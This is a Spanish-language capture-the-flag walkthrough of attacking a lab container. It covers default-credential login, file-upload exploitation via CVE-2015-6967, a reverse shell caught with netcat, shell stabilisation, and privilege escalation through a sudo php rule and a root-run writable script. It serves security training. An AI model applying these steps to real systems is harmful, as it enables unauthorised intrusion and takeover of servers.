Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 11:45 EST
Nmap scan report for 172.17.0.2
Host is up (0.000059s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
Vemos una pagina normal y corriente, pero si inspeccionamos la pagina veremos lo siguiente en el codigo:
Vemos varias cosas interesantes, entre ellas un /admin.php que si entramos dentro veremos un panel de login, vamos a probar a meter credenciales por defecto:
User: admin
Pass: admin
Veremos que si funciona con las credenciales por defecto, por lo que vamos a ver si este software tuviera alguna vulnerabilidad.
Vemos que si tiene una vulnerabilidad asociada al CVE-2015-6967 que es para subir archivos de forma arbitraria.
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
fail_with(Failure::Unknown, 'Unable to upload payload.')
end
Vemos que nos pone:
Unable to upload payload. Does the server have the My Image plugin installed?
Por lo que vemos parece ser que la pagina tiene que tener instalado el siguiente plugin por lo que nosotros lo instalaremos desde el panel de administrador de la siguiente forma.
Escalate user www-data
En Plugins vemos la siguiente seccion:
Por lo que le daremos a instalar y le daremos a Guardar Cambios una vez echo esto ejecutaremos el exploit de GitHub de la siguiente forma:
Y si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 34952
whoami
www-data
Veremos que tendremos una shell como el usuario www-data.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user chocolate
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 47ba4eca2fbc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on 47ba4eca2fbc:
(chocolate) NOPASSWD: /usr/bin/php
Vemos que podemos ejecutar el binario php como el usuario chocolate, por lo que haremos lo siguiente:
Si listamos los procesos de la maquina veremos lo siguiente:
ps -aux
Info:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2616 1588 ? Ss 16:45 0:00 /bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done
root 25 0.0 0.5 201396 22876 ? Ss 16:45 0:00 /usr/sbin/apache2 -k start
www-data 230 0.0 0.4 201876 18260 ? S 16:50 0:01 /usr/sbin/apache2 -k start
www-data 270 0.0 0.4 201920 18996 ? S 16:50 0:01 /usr/sbin/apache2 -k start
www-data 347 0.0 0.4 202040 18064 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 352 0.0 0.4 202020 18024 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 353 0.0 0.4 202036 18500 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 356 0.0 0.4 201868 17936 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 368 0.0 0.4 202020 18084 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 375 0.0 0.4 202044 18432 ? S 16:52 0:00 /usr/sbin/apache2 -k start
www-data 411 0.0 0.4 202316 19132 ? S 16:53 0:00 /usr/sbin/apache2 -k start
www-data 441 0.0 0.4 201880 18184 ? S 16:53 0:00 /usr/sbin/apache2 -k start
www-data 826 0.0 0.0 2616 1548 ? S 17:09 0:00 sh -c sh
www-data 827 0.0 0.0 2616 1588 ? S 17:09 0:00 sh
www-data 1003 0.0 0.0 2644 2072 ? S 17:16 0:00 script /dev/null -c bash
www-data 1004 0.0 0.0 2616 1500 pts/0 Ss 17:16 0:00 sh -c bash
www-data 1005 0.0 0.0 4244 3356 pts/0 S 17:16 0:00 bash
root 1068 0.0 0.0 5012 3492 pts/0 S 17:18 0:00 sudo -u chocolate php -r system('/bin/bash');
chocola+ 1069 0.0 0.4 67024 18380 pts/0 S 17:18 0:00 php -r system('/bin/bash');
chocola+ 1070 0.0 0.0 2616 1580 pts/0 S 17:18 0:00 sh -c /bin/bash
chocola+ 1071 0.0 0.0 4248 3328 pts/0 S 17:18 0:00 /bin/bash
root 1104 0.0 0.0 2516 1344 ? S 17:19 0:00 sleep 5
chocola+ 1105 0.0 0.0 5900 2756 pts/0 R+ 17:19 0:00 ps -aux
Vemos la siguiente linea bastante interesante:
/bin/sh -c service apache2 start && while true; do php /opt/script.php; sleep 5; done
Por lo que vemos root esta ejecutando de forma continua con 5 segundos de descanso el script que esta en /opt el cual podremos modificar, por lo que haremos lo siguiente: